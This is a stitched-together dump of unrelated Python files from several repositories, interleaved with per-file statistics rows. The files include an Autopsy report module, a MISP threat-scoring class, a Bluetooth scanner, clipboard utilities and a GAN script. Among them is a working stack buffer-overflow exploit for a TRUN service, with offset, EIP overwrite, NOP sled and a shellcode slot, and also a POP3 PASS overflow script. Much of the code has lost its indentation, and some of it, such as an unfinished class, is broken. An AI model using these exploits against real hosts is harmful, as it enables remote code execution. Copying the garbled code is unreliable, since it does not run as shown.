"need","needs","neither","never","nevertheless",
"next","nine","ninety","nobody","none","nonetheless",
"noone","normally","noted","nothing","nowhere",
"obtain","obtained","obviously","often","okay",
"omitted","once","ones","only","onto","other",
"others","otherwise","ought","ours","ourselves",
"outside","over","overall","owing","page","pages",
"part","particular","particularly","past","perhaps",
"placed","please","plus","poorly","possible","possibly",
"potentially","predominantly","present","previously",
"primarily","probably","promptly","proud","provides",
"quickly","quite","rather","readily","really","recent",
"recently","refs","regarding","regardless",
"regards","related","relatively","research",
"respectively","resulted","resulting","results","right",
"run","said","same","saying","says","section","see",
"seeing","seem","seemed","seeming","seems","seen",
"self","selves","sent","seven","several","shall",
"shed","shes","should","show","showed","shown",
"showns","shows","significant","significantly",
"similar","similarly","since","slightly","some",
"somebody","somehow","someone","somethan",
"something","sometime","sometimes","somewhat",
"somewhere","soon","sorry","specifically","specified",
"specify","specifying","still","stop","strongly",
"substantially","successfully","such","sufficiently",
"suggest","sure","take","taken","taking","tell",
"tends","than","thank","thanks","thanx","that",
"thats","their","theirs","them","themselves","then",
"thence","there","thereafter","thereby","thered",
"therefore","therein","thereof","therere",
"theres","thereto","thereupon","there've","these",
"they","think","this","those","thou","though","thought",
"thousand","through","throughout","thru","thus",
"together","took","toward","towards","tried","tries",
"truly","trying","twice","under","unfortunately",
"unless","unlike","unlikely","until","unto","upon",
"used","useful","usefully","usefulness","uses","using",
"usually","value","various","very","want","wants",
"was","wasnt","welcome","went","were","what","whatever",
"when","whence","whenever","where","whereafter","whereas",
"whereby","wherein","wheres","whereupon","wherever",
"whether","which","while","whim","whither","whod",
"whoever","whole","whom","whomever","whos","whose",
"widely","willing","wish","with","within","without",
"wont","words","world","would","wouldnt",
"your","youre","yours","yourself","yourselves"]
####################
# Function
# Name: ExtractProperNames
# Purpose: Extract possible proper names from the passed string
# Input: string
# Return: Dictionary of possible Proper Names along with the number of
# of occurrences as a key, value pair
# Usage: theDictionary = ExtractProperNames('John is from Alaska')
####################
def ExtractProperNames(theBuffer):
# Prepare the string (strip formatting and special characters)
# You can extend the set of allowed characters by adding to the string
# Note 1: this example assumes ASCII characters not unicode
# Note 2: You can expand the allowed ASCII characters that you
# choose to include for valid proper name searches
# by modifying this string. For this example I have kept
# the list simple.
allowedCharacters ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
finalString = ''
# Notice that you can write Python like English if you choose your
# words carefully
# Process each character in the theString passed to the function
for eachCharacter in theBuffer:
# Check to see if the character is in the allowedCharacter string
if eachCharacter in allowedCharacters:
# Yes, then add the character to the finalString
finalString = finalString + eachCharacter
else:
# otherwise replace the not allowed character
# with a space
finalString = finalString + ' '
# Now that we only have allowed characters or spaces in finalString
# we can use the built in Python string.split() method
# This one line will create a list of words contained in the finalString
wordList = finalString.split()
# Now, let's determine which words are possible proper names
# and create a list of them.
# We start by declaring an empty list
properNameList = []
# For this example we will assume words are possible proper names
# if they are in title case and they meet certain length requirements
# We will use a Min Length of 4 and a Max Length of 20
# To do this, we loop through each word in the word list
# and if the word is in title case and the word meets
# our minimum/maximum size limits we add the word to the properNameList
# We utilize the Python built in string method string.istitle()
#
# Note: I'm setting minimum and maximum word lengths that
# will be considered proper names. You can adjust these
# psuedo constants for your situation. Note if you make
# the MIN_SIZE smaller you should also update the StopWord
# list to include smaller stop words.
MIN_SIZE = 4
MAX_SIZE = 20
for eachWord in wordList:
if eachWord.istitle() and len(eachWord) >= MIN_SIZE and len(eachWord) <= MAX_SIZE:
# if the word meets the specified conditions we add it
# and it is not a common stop word
# we add it to the properNameList
if eachWord.lower() not in stopWords:
properNameList.append(eachWord)
else:
# otherwise we loop to the next word
continue
# Note this list will likely contain duplicates to deal with this
# and to determine the number of times a proper name is used
# we will create a Python Dictionary
# The Dictionary will contain a key, value pair.
# The key will be the proper name and value is the number of occurrences
# found in the text
# Create an empty dictionary
properNamesDictionary = {}
# Next we loop through the properNamesList
for eachName in properNameList:
# if the name is already in the dictionary
# the name has been processed increment the number
# of occurrences, otherwise add a new entry setting
# the occurrences to 1
if eachName in properNamesDictionary:
cnt = properNamesDictionary[eachName]
properNamesDictionary[eachName] = cnt+1
else:
properNamesDictionary[eachName] = 1
# Once all the words have been processed
# the function returns the created properNamesDictionary
return properNamesDictionary
# End Extract Proper Names Function
# Class responsible for defining module metadata and logic
class CSVReportModule(GeneralReportModuleAdapter):
# This defines the Report name
moduleName = "Proper Names Report"
_logger = None
def log(self, level, msg):
if _logger == None:
_logger = Logger.getLogger(self.moduleName)
self._logger.logp(level, self.__class__.__name__, inspect.stack()[1][3], msg)
def getName(self):
return self.moduleName
def getDescription(self):
return "Extracts Possible Proper Names"
def getRelativeFilePath(self):
return "prop.txt"
# The 'baseReportDir' object being passed in is a string
# with the directory that reports are being stored in.
# Report should go into baseReportDir + getRelativeFilePath().
# The 'progressBar' object is of type ReportProgressPanel.
# See: http://sleuthkit.org/autopsy/docs/api-docs/3.1/classorg_1_1sleuthkit_1_1autopsy_1_1report_1_1_report_progress_panel.html
def generateReport(self, baseReportDir, progressBar):
# Open the output file.
fileName = os.path.join(baseReportDir, self.getRelativeFilePath())
report = open(fileName, 'w')
# Query the database for the files (ignore the directories)
sleuthkitCase = Case.getCurrentCase().getSleuthkitCase()
files = sleuthkitCase.findAllFilesWhere("NOT meta_type = " + str(TskData.TSK_FS_META_TYPE_ENUM.TSK_FS_META_TYPE_DIR.getValue()))
# Setup progress Indicator
progressBar.setIndeterminate(False)
progressBar.start()
progressBar.setMaximumProgress(len(files))
for file in files:
# For this script I will limit the processing
# to files with .txt extensions only
if file.getName().lower().endswith(".txt"):
# Setup to Read the contents of the file.
# Create a Python string to hold the file contents
# for processing
fileStringBuffer = ''
# Setup an inputStream to read the file
inputStream = ReadContentInputStream(file)
# Setup a jarry buffer to read chunks of the file
# we will read 1024 byte chunks
buffer = jarray.zeros(1024, "b")
# Attempt to read in the first Chunk
bytesRead = inputStream.read(buffer)
# Continue reading until finished reading
# the file indicated by -1 return from
# the inputStream.read() method
while (bytesRead != -1):
for eachItem in buffer:
# Now extract only potential ascii characters from the
# buffer and build the final Python string
# that we will process.
if eachItem >= 0 and eachItem <= 255:
fileStringBuffer = fileStringBuffer + chr(eachItem)
# Read the next file Chunk
bytesRead = inputStream.read(buffer)
# Once the complete file has been read and the
# possible ASCII characters have been extracted
# The ExtractProperNames Function
# will process the contents of the file
# the result will be returned as a Python
# dictionary object
properNamesDictionary = ExtractProperNames(fileStringBuffer)
# For each file processed
# Write the information to the Report
# File Name, along with each possible proper name
# found, with highest occurring words order
report.write("\n\nProcessing File: "+ file.getUniquePath() + "\n\n")
report.write("Possible Name Occurrences \n")
report.write("-------------------------------- \n")
for eachName in sorted(properNamesDictionary, key=properNamesDictionary.get, reverse=True):
theName = '{:20}'.format(eachName)
theCnt = '{:5d}'.format(properNamesDictionary[eachName])
report.write(theName + theCnt + "\n")
# Increment the progress bar for each
# file processed
progressBar.increment()
# Process the Next File
# Close the report and post ProgressBar Complete
progressBar.complete(ReportStatus.COMPLETE)
report.close()
# Add the report to the Case
Case.getCurrentCase().addReport(fileName, self.moduleName, "Prop Report")
| 45.668421 | 137 | 0.590255 |
owtf | """
owtf.utils.pycompat
~~~~~~~~~~~~~~~~~~~
Helpers for compatibility between Python 2.x and 3.x.
"""
import sys
PY2 = sys.version_info[0] == 2
PY3 = sys.version_info[0] == 3
if not PY2:
strtypes = (str,)
def u(s):
return s
else:
strtypes = (str, unicode)
def u(s):
return unicode(s)
if PY3:
def iterkeys(d, **kw):
return iter(d.keys(**kw))
def itervalues(d, **kw):
return iter(d.values(**kw))
def iteritems(d, **kw):
return iter(d.items(**kw))
def iterlists(d, **kw):
return iter(d.lists(**kw))
else:
def iterkeys(d, **kw):
return d.iterkeys(**kw)
def itervalues(d, **kw):
return d.itervalues(**kw)
def iteritems(d, **kw):
return d.iteritems(**kw)
def iterlists(d, **kw):
return d.iterlists(**kw)
| 14.4 | 53 | 0.534279 |
PenetrationTestingScripts | from django.shortcuts import get_object_or_404, render, redirect
from django.http import HttpResponseRedirect, HttpResponse
from django.contrib.admin.models import LogEntry
from django.core.urlresolvers import reverse
from django.contrib import admin, messages
from nmaper import views, models
admin.site.register(models.NmapScan)
admin.site.register(models.NmapProfile)
def clear_logs(request):
"""Clear admin activity logs if user has permissions"""
if not request.user.is_authenticated(): # should be applied to anything under /console
return redirect('login')
if request.user.has_perm('admin.delete_logentry'):
LogEntry.objects.all().filter(user__pk=request.user.id).delete()
messages.info(request, 'Successfully cleared admin activity logs.', fail_silently=True)
else:
messages.warning(request, 'Unable to clear the admin activity logs.', fail_silently=True)
return redirect('admin:index')
| 37.16 | 97 | 0.755509 |
Mastering-Kali-Linux-for-Advanced-Penetration-Testing-4E | import socket
import struct
s = socket.socket()
s.connect(("<ServerIP>",9999))
buf = b""
buf += b"<Add the shell code from msfvenom here>
shellcode = buf
nops = b"\x90"*16
leng = 2984
offset = 2003
eip = struct.pack("<I",0x62501203)
payload = [b"TRUN /.:/",b"A"*offset,eip,nops,shellcode,b"C"*(leng - offset
- len(eip) - len(nops) - len(shellcode))]
payload = b"".join(payload)
s.send(payload)
s.close()
| 22.882353 | 74 | 0.666667 |
Python-for-Offensive-PenTest | # Python For Offensive PenTest
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"from Crypto.PublicKey import RSA
# RSA ENC-DEC
from Crypto.PublicKey import RSA
def encrypt(message):
publickey = open("public.pem", "r")
encryptor = RSA.importKey(publickey)
global encriptedData
'''
The encrypt function, will take two arguments, the second one can be discarded
>>that's why we passed (message,0) arguments
The retunred value is a tuple with two items. The first item is the
ciphertext. The second item is always None.
>>that's why print encriptedData[0]
Ref: https://pythonhosted.org/pycrypto/Crypto.PublicKey.RSA._RSAobj-class.html#encrypt
'''
encriptedData=encryptor.encrypt(message,0)
print encriptedData[0]
encrypt('Hussam')
def decrypt(cipher):
privatekey = open("private.pem", "r")
decryptor = RSA.importKey(privatekey)
print decryptor.decrypt(cipher)
decrypt(encriptedData)
| 25.790698 | 104 | 0.740226 |
Hands-On-Penetration-Testing-with-Python | #!/usr/bin/python
import socket
buffer=["A"]
counter=100
string="A"*2606 + "B"*4 +"C"*400
if 1:
print"Fuzzing PASS with %s bytes" % len(string)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.250.136',110))
data=s.recv(1024)
#print str(data)
s.send('USER root\r\n')
data=s.recv(1024)
print str(data)
s.send('PASS ' + string + '\r\n')
data=s.recv(1024)
print str(data)
print "done"
#s.send('QUIT\r\n')
#s.close()
| 18.296296 | 54 | 0.576923 |
Hands-On-Penetration-Testing-with-Python | import json
import os
from keys import misp_url, misp_key
import logging
from DB_Layer.Misp_access import MispDB
import multiprocessing
from multiprocessing import Process
import math
import datetime
import time
class ThreatScore():
def __init__(self):
logger = logging.getLogger('Custom_log')
logger.setLevel(logging.DEBUG)
fh = logging.FileHandler('TS.log')
fh.setLevel(logging.DEBUG)
ch = logging.StreamHandler()
ch.setLevel(logging.ERROR)
formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
fh.setFormatter(formatter)
ch.setFormatter(formatter)
# add the handlers to the logger
logger.addHandler(fh)
logger.addHandler(ch)
self.log = logger
def UpdateThreatScore(self,mode="parllel",task_id=0):
try:
ret_resp={}
cpu_count_to_use=1
cpu_count=multiprocessing.cpu_count()
if cpu_count > 1:
cpu_count_to_use=math.ceil(cpu_count/1)
self.log.debug("CPU cores to use : " +str(cpu_count_to_use))
att_stat=MispDB().getAttributeCount()
att_count=0
feed_count=0
if att_stat["status"]=="success":
att_count=int(att_stat["value"])
en_st=MispDB().getEnabledFeeds()
if en_st["status"]=="success":
feed_count=int(en_st["value"]["enabled"])
if att_count:
while (1):
if (int(att_count) % cpu_count_to_use) == 0:
break
else:
att_count=att_count+1
chunk_size=att_count/cpu_count_to_use
chunk_index=0
limit_offset=[]
while(chunk_index <= att_count):
limit_offset.append({"offset":int(chunk_index),"limit":int(chunk_size)})
chunk_index=int(chunk_index+chunk_size)
process_list=[]
MispDB().updateTask(task_id=task_id,status="processing",message="Processes to be Spawned",update_process=False)
self.log.debug("Processes to be Spawned : " +str(cpu_count_to_use))
for i in range(0,len(limit_offset)):
pr=Process(target=self.StartProcessing,args=(limit_offset[i]["offset"],limit_offset[i]["limit"],str(i),task_id,False,feed_count))
process_list.append(pr)
pr.start()
for process in process_list:
process.join()
status_codes=MispDB().getTaskStatusCodes(task_id)
ret_resp["status"]="success"
ret_resp["value"]="Threat Scoring Finished Successfully"
if status_codes["status"]=="success":
self.log.debug("Obtained Process messaged : " +str(status_codes))
return_now=False
for code in status_codes["value"]:
if isinstance(code,str):
code=json.loads(code)
if code["status"]=="failure":
ret_resp["status"]="failure"
ret_resp["value"]="Threat Scoring Finished with error for Process id :"+code["id"]+" . Message : " +code["message"]
return_now=True
break
return ret_resp
else:
ret_resp["status"]="failure"
ret_resp["value"]="Process succeded but the final update failed as no value was returned in att_count" + status_codes["value"]
else:
ret_resp["status"]="failure"
ret_resp["value"]="Threat Scoring Execution failed - No value in attribute count"
return ret_resp
return ret_resp
except Exception as ex:
print("Exception : " +str(ex))
ret_resp["status"]="failure"
ret_resp["value"]="1 Threat Scoring Execution failed - " +str(ex)
self.log.error("Ended at time : " +str(datetime.datetime.now()))
return ret_resp
def ExternalScoring(self,att,weightage_settings,att_date_score,
att_tags_score,att_corelation_score,att_comment_score,internal_score,feed_count=0):
try:
e_att_date_score=self.DateScore(att["e_date"],weightage_settings["Date"])
e_att_tags_score=self.TagScore(att["e_tags"],weightage_settings["Tags"])
e_att_corelation_score=self.CorelationScore(att["e_corelation"],weightage_settings["Corelation"],feed_count)
e_att_comment_score=self.CommentScore(att["e_comment"],weightage_settings["Comment"])
external_score=e_att_date_score + e_att_tags_score + e_att_corelation_score + e_att_comment_score #in % age
external_score=external_score/10 #S
comulative_score=(internal_score + external_score)/2
resp=MispDB().updateAttributeScore(id=att["id"],i_date_score=att_date_score,
i_tags_score=att_tags_score,i_corelation_score=att_corelation_score,
i_comment_score=att_comment_score,total_internal_score=internal_score,
e_date_score=e_att_date_score,e_tags_score=e_att_tags_score,
e_corelation_score=e_att_corelation_score,e_comment_score=e_att_comment_score,
total_external_score=external_score,cumulative_score=comulative_score,value=att["value"])
return resp
except Exception as ex:
ret_resp={}
ret_resp["status"]="failure"
ret_resp["value"]=str(ex)
return ret_resp
def Scoring(self,att_list,weightage_settings,external_scoring=False,feed_count=0):
try:
ret_resp={}
failure=False
att_id_failed=[]
for att in att_list:
att_date_score=self.DateScore(att["i_date"],weightage_settings["Date"])
att_tags_score=self.TagScore(att["i_tags"],weightage_settings["Tags"])
att_corelation_score=self.CorelationScore(att["i_corelation"],weightage_settings["Corelation"],feed_count=feed_count)
att_comment_score=self.CommentScore(att["i_comment"],weightage_settings["Comment"])
internal_score=att_date_score + att_tags_score + att_corelation_score + att_comment_score
internal_score=internal_score/10 #Scale down to number
internal_score=internal_score
if external_scoring ==False:
resp=MispDB().updateAttributeScore(id=att["id"],i_date_score=att_date_score,
i_tags_score=att_tags_score,i_corelation_score=att_corelation_score,
i_comment_score=att_comment_score,total_internal_score=internal_score,
cumulative_score=internal_score,value=att["value"])
else:
resp=self.ExternalScoring(att,weightage_settings,att_date_score,
att_tags_score,att_corelation_score,att_comment_score,internal_score,feed_count=feed_count)
if resp["status"]=="failure":
failure=True
att_id_failed.append(att["id"])
if failure==True:
ret_resp["status"]="success"
ret_resp["value"]="Cant update for attributes : "+ str(att_id_failed)
else:
ret_resp["status"]="success"
ret_resp["value"]="Process Executed Successfully"
return ret_resp
except Exception as ex:
self.log.debug("Exception : "+str(ex))
ret_resp={}
ret_resp["status"]="failure"
ret_resp["value"]=str(ex)
return ret_resp
def StartProcessing(self,offset,limit,process_id,task_id,external_scoring=False,feed_count=0):
try:
root=os.path.dirname(os.path.realpath(__file__))
weightage_settings={}
with open(os.path.join(root,"weightage.json")) as in_file:
weightage_settings=json.loads(in_file.read())
att_list_status=MispDB().getAttributesToScore(offset,limit)
failure=False
att_id_failed=0
if att_list_status["status"]=="success":
att_list=att_list_status["value"]
if external_scoring==False:
self.log.debug("Started : Limit : "+str(limit) + " Offset : " +str(offset))
resp=self.Scoring(att_list,weightage_settings,external_scoring=False,feed_count=feed_count)
else:
resp=self.Scoring(att_list,weightage_settings,external_scoring=True,feed_count=feed_count)
if resp["status"]=="success":
MispDB().updateProcessMessage(process_id,task_id,"success","Process succeded for chunk : "+str(offset)+" -- "+str(limit))
self.log.debug("Process succeded for chunk : "+str(offset)+" -- "+str(limit))
else:
MispDB().updateProcessMessage(process_id,task_id,"failure","0 Process failed to Update details for chunk : "+str(offset)+" -- "+str(limit) +" - 0 Failure Message : " +str(resp["value"]))
self.log.debug("Process Failed for chunk : "+str(offset)+" -- "+str(limit))
else:
att_stat=MispDB().getAttributeCount()
att_count=0
if att_stat["status"]=="success":
att_count=int(att_stat["value"])
if offset < att_count:
MispDB().updateProcessMessage(process_id,task_id,"failure","1 Process failed to pull up chunk : "+str(offset)+" --"+str(limit)+" - 1 Failure Message : " +str(att_list_status["value"]))
else:
MispDB().updateProcessMessage(process_id,task_id,"success","Process found empty chunk : "+str(offset)+" -- "+str(limit))
except Exception as ex:
MispDB().updateProcessMessage(process_id,task_id,"failure","2 Process failed for chunk : "+str(offset)+" --"+str(limit)+" - 2 Failure Message : " +str(ex))
def ComputeScore(self,weighted_parameter,weightage_settings,p_type="NAN"):
try:
weightage=int(weightage_settings["weightage"])
partitions=weightage_settings["partitions"]
assig_wt=0
for partition in partitions:
if partition["type"]=="range":
ll=int(partition["ll"])
ul=int(partition["ul"])
weight=int(partition["weight"])
if weighted_parameter >= ll and weighted_parameter <= ul:
assig_wt=weight
break
elif partition["type"]=="fixed":
size=int(partition["size"])
weight=int(partition["weight"])
if weighted_parameter ==size:
assig_wt=weight
break
score=weightage * (assig_wt /100)
return score
except Exception as ex:
self.log.error("Exception while computing score for parameter type : "+str(p_type)+" - "+str(ex))
return 0
def DateScore(self,date,weightage_settings):
try:
ioc_time=time.strftime('%Y-%m-%d', time.localtime(float(date)+14400))
time_format = '%Y-%m-%d'
time_delta=datetime.datetime.now() - datetime.datetime.strptime(ioc_time, time_format)
days=time_delta.days
if days < 0:
days=1 #It means its very recent
score=self.ComputeScore(int(days),weightage_settings,'Date')
return score
except Exception as ex:
self.log.error("Exception in computing Date Score : "+str(ex))
return 0
def TagScore(self,tags,weightage_settings):
try:
score=self.ComputeScore(int(tags),weightage_settings,'Tags')
return score
except Exception as ex:
self.log.error("Exception in computing Tag Score : "+str(ex))
return 0
def CorelationScore(self,corelations,weightage_settings,feed_count):
try:
weightage=int(weightage_settings["weightage"])
partitions=weightage_settings["partitions"]
c_p=(int(corelations)/int(feed_count))*100
assig_wt=0
for partition in partitions:
ll=int(partition["ll"])
ul=int(partition["ul"])
weight=int(partition["weight"])
if c_p >= ll and c_p <= ul:
assig_wt=weight
break
score=weightage * (assig_wt /100)
return score
except Exception as ex:
self.log.error("Exception in computing Correlation Score : "+str(ex))
return 0
def CommentScore(self,comments,weightage_settings):
try:
if comments != "" and comments != None and comments != " " :
score=self.ComputeScore(1,weightage_settings,'Comments')
else:
score=self.ComputeScore(0,weightage_settings,'Comments')
return score
except Exception as ex:
self.log.error("Exception in computing Comment Score : "+str(ex))
return 0
ob=ThreatScore()
ob.UpdateThreatScore()
| 38.866667 | 193 | 0.664554 |
cybersecurity-penetration-testing | import time
from bluetooth import *
alreadyFound = []
def findDevs():
foundDevs = discover_devices(lookup_names=True)
for (addr, name) in foundDevs:
if addr not in alreadyFound:
print '[*] Found Bluetooth Device: ' + str(name)
print '[+] MAC address: ' + str(addr)
alreadyFound.append(addr)
while True:
findDevs()
time.sleep(5)
| 17.857143 | 60 | 0.605063 |
cybersecurity-penetration-testing | #!/usr/bin/env python
import os
from os.path import join
import posix1e
import re
import stat
import sys
def acls_from_file(filename, include_standard = False):
"""Returns the extended ACL entries from the given
file as list of the text representation.
Arguments:
filename -- the file name to get the ACLs from
include_standard -- if True, ACL entries representing
standard Linux permissions will be
included"""
result = []
try:
acl = posix1e.ACL(file=filename)
except:
print 'Error getting ACLs from %s' % filename
return []
text = acl.to_any_text(options=posix1e.TEXT_ABBREVIATE | posix1e.TEXT_NUMERIC_IDS)
for entry in text.split("\n"):
if not include_standard and \
re.search(r'^[ugo]::', entry) != None:
continue
result.append(entry)
return result
def get_acl_list(basepath, include_standard = False):
"""Collects all POSIX ACL entries of a directory tree.
Arguments:
basepath -- directory to start from
include_standard -- if True, ACL entries representing
standard Linux permissions will be
included"""
result = {}
for root, dirs, files in os.walk(basepath):
for f in dirs + files:
fullname = join(root, f)
# skip symbolic links (target ACL applies)
if stat.S_ISLNK(os.lstat(fullname).st_mode):
continue
acls = acls_from_file(fullname, include_standard)
if len(acls) > 0:
result[fullname] = acls
return result
if __name__ == '__main__':
if len(sys.argv) < 2:
print 'Usage %s root_directory' % sys.argv[0]
sys.exit(1)
acl_list = get_acl_list(sys.argv[1], False)
for filename, acls in acl_list.iteritems():
print "%s: %s" % (filename, ','.join(acls))
| 27 | 86 | 0.583461 |
cybersecurity-penetration-testing | # Pyperclip v1.4
# A cross-platform clipboard module for Python. (only handles plain text for now)
# By Al Sweigart al@coffeeghost.net
# Usage:
# import pyperclip
# pyperclip.copy('The text to be copied to the clipboard.')
# spam = pyperclip.paste()
# On Mac, this module makes use of the pbcopy and pbpaste commands, which should come with the os.
# On Linux, this module makes use of the xclip command, which should come with the os. Otherwise run "sudo apt-get install xclip"
# Copyright (c) 2010, Albert Sweigart
# All rights reserved.
#
# BSD-style license:
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# * Neither the name of the pyperclip nor the
# names of its contributors may be used to endorse or promote products
# derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY Albert Sweigart "AS IS" AND ANY
# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL Albert Sweigart BE LIABLE FOR ANY
# DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
# ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
# Change Log:
# 1.2 Use the platform module to help determine OS.
# 1.3 Changed ctypes.windll.user32.OpenClipboard(None) to ctypes.windll.user32.OpenClipboard(0), after some people ran into some TypeError
import platform, os
def winGetClipboard():
ctypes.windll.user32.OpenClipboard(0)
pcontents = ctypes.windll.user32.GetClipboardData(1) # 1 is CF_TEXT
data = ctypes.c_char_p(pcontents).value
#ctypes.windll.kernel32.GlobalUnlock(pcontents)
ctypes.windll.user32.CloseClipboard()
return data
def winSetClipboard(text):
text = str(text)
GMEM_DDESHARE = 0x2000
ctypes.windll.user32.OpenClipboard(0)
ctypes.windll.user32.EmptyClipboard()
try:
# works on Python 2 (bytes() only takes one argument)
hCd = ctypes.windll.kernel32.GlobalAlloc(GMEM_DDESHARE, len(bytes(text))+1)
except TypeError:
# works on Python 3 (bytes() requires an encoding)
hCd = ctypes.windll.kernel32.GlobalAlloc(GMEM_DDESHARE, len(bytes(text, 'ascii'))+1)
pchData = ctypes.windll.kernel32.GlobalLock(hCd)
try:
# works on Python 2 (bytes() only takes one argument)
ctypes.cdll.msvcrt.strcpy(ctypes.c_char_p(pchData), bytes(text))
except TypeError:
# works on Python 3 (bytes() requires an encoding)
ctypes.cdll.msvcrt.strcpy(ctypes.c_char_p(pchData), bytes(text, 'ascii'))
ctypes.windll.kernel32.GlobalUnlock(hCd)
ctypes.windll.user32.SetClipboardData(1, hCd)
ctypes.windll.user32.CloseClipboard()
def macSetClipboard(text):
text = str(text)
outf = os.popen('pbcopy', 'w')
outf.write(text)
outf.close()
def macGetClipboard():
outf = os.popen('pbpaste', 'r')
content = outf.read()
outf.close()
return content
def gtkGetClipboard():
return gtk.Clipboard().wait_for_text()
def gtkSetClipboard(text):
global cb
text = str(text)
cb = gtk.Clipboard()
cb.set_text(text)
cb.store()
def qtGetClipboard():
return str(cb.text())
def qtSetClipboard(text):
text = str(text)
cb.setText(text)
def xclipSetClipboard(text):
text = str(text)
outf = os.popen('xclip -selection c', 'w')
outf.write(text)
outf.close()
def xclipGetClipboard():
outf = os.popen('xclip -selection c -o', 'r')
content = outf.read()
outf.close()
return content
def xselSetClipboard(text):
text = str(text)
outf = os.popen('xsel -i', 'w')
outf.write(text)
outf.close()
def xselGetClipboard():
outf = os.popen('xsel -o', 'r')
content = outf.read()
outf.close()
return content
if os.name == 'nt' or platform.system() == 'Windows':
import ctypes
getcb = winGetClipboard
setcb = winSetClipboard
elif os.name == 'mac' or platform.system() == 'Darwin':
getcb = macGetClipboard
setcb = macSetClipboard
elif os.name == 'posix' or platform.system() == 'Linux':
xclipExists = os.system('which xclip') == 0
if xclipExists:
getcb = xclipGetClipboard
setcb = xclipSetClipboard
else:
xselExists = os.system('which xsel') == 0
if xselExists:
getcb = xselGetClipboard
setcb = xselSetClipboard
try:
import gtk
getcb = gtkGetClipboard
setcb = gtkSetClipboard
except Exception:
try:
import PyQt4.QtCore
import PyQt4.QtGui
app = PyQt4.QApplication([])
cb = PyQt4.QtGui.QApplication.clipboard()
getcb = qtGetClipboard
setcb = qtSetClipboard
except:
raise Exception('Pyperclip requires the gtk or PyQt4 module installed, or the xclip command.')
copy = setcb
paste = getcb | 35.134146 | 139 | 0.66481 |
Mastering-Machine-Learning-for-Penetration-Testing | import pickle as pkl
import numpy as np
import tensorflow as tf
import matplotlib.pyplot as plt
from tensorflow.examples.tutorials.mnist import input_data
mnist = input_data.read_data_sets('MNIST_data')
def model_inputs(real_dim, z_dim):
inputs_real = tf.placeholder(tf.float32, (None, real_dim), name='input_real')
inputs_z = tf.placeholder(tf.float32, (None, z_dim), name='input_z')
return inputs_real, inputs_z
def generator(z, out_dim, n_units=128, reuse=False, alpha=0.01):
with tf.variable_scope('generator', reuse=reuse):
# Hidden layer
h1 = tf.layers.dense(z, n_units, activation=None)
# Leaky ReLU
h1 = tf.maximum(alpha * h1, h1)
# Logits and tanh output
logits = tf.layers.dense(h1, out_dim, activation=None)
out = tf.tanh(logits)
return out
def discriminator(x, n_units=128, reuse=False, alpha=0.01):
with tf.variable_scope('discriminator', reuse=reuse):
# Hidden layer
h1 = tf.layers.dense(x, n_units, activation=None)
# Leaky ReLU
h1 = tf.maximum(alpha * h1, h1)
logits = tf.layers.dense(h1, 1, activation=None)
out = tf.sigmoid(logits)
return out, logits
# Size of input image to discriminator
input_size = 784
# Size of latent vector to generator
z_size = 100
# Sizes of hidden layers in generator and discriminator
g_hidden_size = 128
d_hidden_size = 128
# Leak factor for leaky ReLU
alpha = 0.01
# Smoothing
smooth = 0.1
tf.reset_default_graph()
# Create our input placeholders
input_real, input_z = model_inputs(input_size, z_size)
# Build the model
g_model = generator(input_z, input_size)
# g_model is the generator output
d_model_real, d_logits_real = discriminator(input_real)
d_model_fake, d_logits_fake = discriminator(g_model, reuse=True)
# Calculate losses
d_loss_real = tf.reduce_mean(
tf.nn.sigmoid_cross_entropy_with_logits(logits=d_logits_real,
labels=tf.ones_like(d_logits_real) * (1 - smooth)))
d_loss_fake = tf.reduce_mean(
tf.nn.sigmoid_cross_entropy_with_logits(logits=d_logits_fake,
labels=tf.zeros_like(d_logits_real)))
d_loss = d_loss_real + d_loss_fake
g_loss = tf.reduce_mean(
tf.nn.sigmoid_cross_entropy_with_logits(logits=d_logits_fake,
labels=tf.ones_like(d_logits_fake)))
# Optimizers
learning_rate = 0.002
# Get the trainable_variables, split into G and D parts
t_vars = tf.trainable_variables()
g_vars = [var for var in t_vars if var.name.startswith('generator')]
d_vars = [var for var in t_vars if var.name.startswith('discriminator')]
d_train_opt = tf.train.AdamOptimizer(learning_rate).minimize(d_loss, var_list=d_vars)
g_train_opt = tf.train.AdamOptimizer(learning_rate).minimize(g_loss, var_list=g_vars)
| 33.625 | 109 | 0.624425 |
Hands-On-Penetration-Testing-with-Python | class Address():
def __init__(self,couyntry,state,Area,street,zip_code):
self.country=country
self.state=
def DepartmentInfo(self):
return "Department Name : " +str(self.name) +", Location : " +str(self.loc)
class Manager():
def __init__(self,m_id,name):
self.m_id=m_id
self.name=name
def ManagerInfo(self):
return "Manager Name : " +str(self.name) +", Manager id : " +str(self.m_id)
class Employee():
def __init__(self,Name,id_gen,dept=None,manager=None):
self.Id=id_gen.generate()
self.Name=Name
self.D_id=None
self.Salary=None
self.dept=dept
self.manager=manager
def printDetails(self):
| 25.68 | 78 | 0.636637 |
cybersecurity-penetration-testing | # Detect English module
# http://inventwithpython.com/hacking (BSD Licensed)
# To use, type this code:
